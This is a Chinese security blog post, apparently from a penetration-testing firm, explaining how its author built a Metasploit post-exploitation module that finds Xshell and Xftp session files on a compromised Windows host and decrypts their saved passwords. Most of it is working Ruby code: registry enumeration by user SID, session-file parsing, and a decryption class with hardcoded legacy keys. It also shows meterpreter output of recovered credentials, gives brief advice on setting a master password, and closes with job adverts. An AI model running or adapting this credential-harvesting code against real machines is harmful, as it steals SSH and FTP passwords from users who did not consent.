声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1
前言
在一个公众号看到了我之前写的Teamviewer获取ID和密码的那个模块,上面还有一个获取Xshell和Xftp密码的,但是那个是Python写的,然后就写了一个Metasploit的模块,试了网上的很多版本,最后找到了这个(https://github.com/HyperSine/how-does-Xmanager-encrypt-password)项目,支持xshell和xftp,版本还支持5.1到6.0的,所以就按照这个项目算法编写模块。
No.2
找session文件
因为一台电脑可能会有多个用户,所以要先枚举用户,导入UserProfiles获取用户配置,详细可以看我之前写的Metasploit后渗透模块开发(https://www.cnblogs.com/Kali-Team/p/12589630.html),找到用户的SID,通过注册表查询对应SID的用户是否存在NetSarang系列应用的目录。
include Msf::Post::Windows::UserProfiles
profiles = grab_user_profiles
profiles.each do |user_profiles|
next if user_profiles['SID'].nil?
安装完Xshell和Xftp,搜索注册表NetSarang关键词,找到注册表的根,这有两个版本
parent_key_6 = "HKEY_USERS\\# {user_profiles['SID']}\\Software\\NetSarang\\Common\\6\\UserData"
parent_key_5 = "HKEY_USERS\\# {user_profiles['SID']}\\Software\\NetSarang\\Common\\5\\UserData"
然后读注册表,得到保存session的文件夹路径,如果用户没有刻意修改session的保存文件夹路径,默认的就是用户的文档文件夹下的NetSarang Computer目录。
net_sarang_path_6 = expand_path(registry_getvaldata(parent_key_6, 'UserDataPath'))
net_sarang_path_5 = expand_path(registry_getvaldata(parent_key_5, 'UserDataPath'))
读取注册表内容可以看我之前写的Metasploit后渗透模块开发(https://www.cnblogs.com/Kali-Team/p/12589630.html),这里有一个大坑,registry_getvaldata读出的字符串后面有换行符,直接拼接路径去枚举或者读取会提示目录或者文件不存在,所以涉及到目录的字符串最好用expand_path方法先处理一次,但是不建议频繁使用,因为每次调用expand_path方法都会发送一次请求到目标主机。
解析session配置文件
找到session文件夹,然后搜索后缀名得到session文件的路径,读文件拿到文本内容,这里有一个坑,就是不同版本保存的文件编码是不一样的,5.3之前的是ANSI编码,6.0的是Unicode编码,还有可能是UTF-8,还有可能是Unicode BE大端储存,找了很久没看到有现成的解决方法,最后自己写了一个。
def try_encode_file(data)
# version 6.0 The character set of the session file will use Unicode
# version <= 5.3 The character set of the session file will use ANSI
if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
data[2..-1].force_encoding('UTF-16LE').encode('UTF-8') # FFFE Unicode
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
data # EFBBBF UTF-8
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
data[2..-1].force_encoding('UTF-16BE').encode('UTF-8') # FEFF Unicode BE
else
data
end
end
先判断前面这个字符就可以知道什么编码,详细可以自己看看代码的判断流程。最后把文件编码转成能用后返回就行了。例如下面的文件是以\xFF\xFE开头的,可以判断它是Unicode编码,要想Rex::Parser::Ini能正常解析就要把他转换为UTF-8编码的,所以这里要注意一下。
解析ini配置文件,导入require 'rex/parser/ini'就可以调用一个Rex::Parser::Ini.from_s(file)方法将file字符串序列化为ini对象,这样就可以通过节点获取配置项对应的内容了,下面是提取session文件中的关键信息的代码。
# parser xsh session file
#
# @param ini [String]
# @return [version, host, port, username, password]
def parser_xsh(ini)
version = ini['SessionInfo']['Version']
port = ini['CONNECTION']['Port']
host = ini['CONNECTION']['Host']
username = ini['CONNECTION:AUTHENTICATION']['UserName']
password = ini['CONNECTION:AUTHENTICATION']['Password'] || nil
[version, host, port, username, password]
end
# parser xfp session file
#
# @param ini [String]
# @return [version, host, port, username, password]
def parser_xfp(ini)
version = ini['SessionInfo']['Version']
port = ini['Connection']['Port']
host = ini['Connection']['Host']
username = ini['Connection']['UserName']
password = ini['Connection']['Password']
[version, host, port, username, password]
end
解析配置文件得到版本,主机,端口,用户名和密码的密文这些有用的信息。
解密密文
详细解密算法请参考上面提到的项目链接。
为了方便写了一个类,用来加密解密,没有用到加密,先留着吧,可能到时候有用。
# @author Kali-Team
class NetSarangCrypto
attr_accessor :version
attr_accessor :username
attr_accessor :sid
attr_accessor :master_password
attr_accessor :key
# This class implements encryption and decryption of NetSarang
#
# @param type [String] only Xshell or Xftp.
# @param version [String] Specify version of session file. e.g.:5.3
# @param username [String] Specify username. This parameter will be used if version > 5.2.
# @param sid [String] Specify SID. This parameter will be used if version >= 5.1.
# @option master_password [String] Specify user's master password.
#
# @return [Rex::Parser::NetSarang::NetSarangCrypto] The NetSarangCrypto object
def initialize(type, version, username, sid, master_password = nil)
self.version = version.to_f
self.username = username
self.sid = sid
self.master_password = master_password
md5 = OpenSSL::Digest::MD5.new
sha256 = OpenSSL::Digest::SHA256.new
if (self.version > 0) && (self.version < 5.1)
self.key = (type == 'Xshell') ? md5.digest('[email protected]# h$e%l^l&') : md5.digest('[email protected]# c$e%l^l&')
elsif (self.version >= 5.1) && (self.version <= 5.2)
self.key = sha256.digest(self.sid)
elsif (self.version > 5.2)
if self.master_password.nil?
self.key = sha256.digest(self.username + self.sid)
else
self.key = sha256.digest(self.master_password)
end
else
raise 'Invalid argument: version'
end
end
# Encrypt
#
# @param string [String]
# @return [String] ciphertext
def encrypt_string(string)
cipher = Rex::Crypto.rc4(key, string)
if (version < 5.1)
return Rex::Text.encode_base64(cipher)
else
sha256 = OpenSSL::Digest::SHA256.new
checksum = sha256.digest(string)
ciphertext = cipher
return Rex::Text.encode_base64(ciphertext + checksum)
end
end
# Decrypt
#
# @param string [String]
# @return [String] plaintext failed return nil
def decrypt_string(string)
if (version < 5.1)
return Rex::Crypto.rc4(key, Rex::Text.decode_base64(string))
else
data = Rex::Text.decode_base64(string)
ciphertext = data[0, data.length - 0x20]
plaintext = Rex::Crypto.rc4(key, ciphertext)
if plaintext.is_utf8?
return plaintext
else
return nil
end
end
end
end
本地数据加密常见会用到三种方法:编码(base64等等),取数据摘要(各种Hash算法,不可逆)和对称加密算法(RC4,DES,AES等),NetSarang系列软件的加解密算法为:先根据软件的版本,用户名,当前用户的SID生成一个key给RC4加解密,将密码通过RC4加密后再用base64编码一下就保存到了配置文件,不同的版本只是添加了校验和或者添加主密码加盐的方式提高解密难度。
在判断用户给的主密码是否正确这里可以用is_utf8?判断解密后的明文是否为utf-8的,如果主密码不对,解密后的明文应该是不可读的乱码。
if plaintext.is_utf8?
return plaintext
else
return nil
end
信息入库
这么重要的信息当然要保存起来,Metasploit有现成的功能,但是要开启数据库服务,这个我默认都是开启的,因为可以记录你的每一个操作,就算你会话掉线了,你以前执行过的结果还会保存在数据库的事件表里,想看可以连接数据库看看。
msf5 exploit(multi/handler) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.76.1 192.168.76.132 2121/tcp (ftp) lftpd lftpd Password
192.168.76.1 192.168.76.132 2121/tcp (ftp) lftpd Blank password
192.168.76.134 192.168.76.132 22/tcp (ssh) kt 123456
No.3
如果没有设置主密码就可以直接执行模块
meterpreter > run post/windows/gather/credentials/xshell_xftp_password
UserName: C:\Users\Administrator\Documents\NetSarang
====================================================
Type Name Host Port UserName Plaintext Password
---- ---- ---- ---- -------- --------- --------
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd lftpd yhmb27u7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd sQsnGxC7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xshell_V6.0 新建会话.xsh 22 kt
meterpreter >
如果设置了主密码需要指定主密码才能解密,不然会像上面报错,选项为MASTER_PASSWORD
meterpreter > run post/windows/gather/credentials/xshell_xftp_password MASTER_PASSWORD=123456
UserName: C:\Users\Administrator\Documents\NetSarang
====================================================
Type Name Host Port UserName Plaintext Password
---- ---- ---- ---- -------- --------- --------
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd lftpd yhmb27u7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd lftpd sQsnGxC7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xshell_V6.0 新建会话.xsh 22 kt
meterpreter >
No.4
开启主密码,选项卡--安全性--设置主密码(主密码复杂点),设置主密码后会将NetSarang系列的session文件的密文重新加密一遍,每次启动NetSarang系列软件都要输入主密码。就算被拿到了session文件也不怕被获取到明文密码,当然最好就别勾选记住密码这选项。
参考:
https://github.com/rapid7/metasploit-framework/pull/13525
https://github.com/HyperSine/how-does-Xmanager-encrypt-password
招聘启事
安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
【任职要求】
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
简历投递至 [email protected]
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至 [email protected]
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 [email protected]
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 [email protected]
专注渗透测试技术
全球最新网络攻击技术
END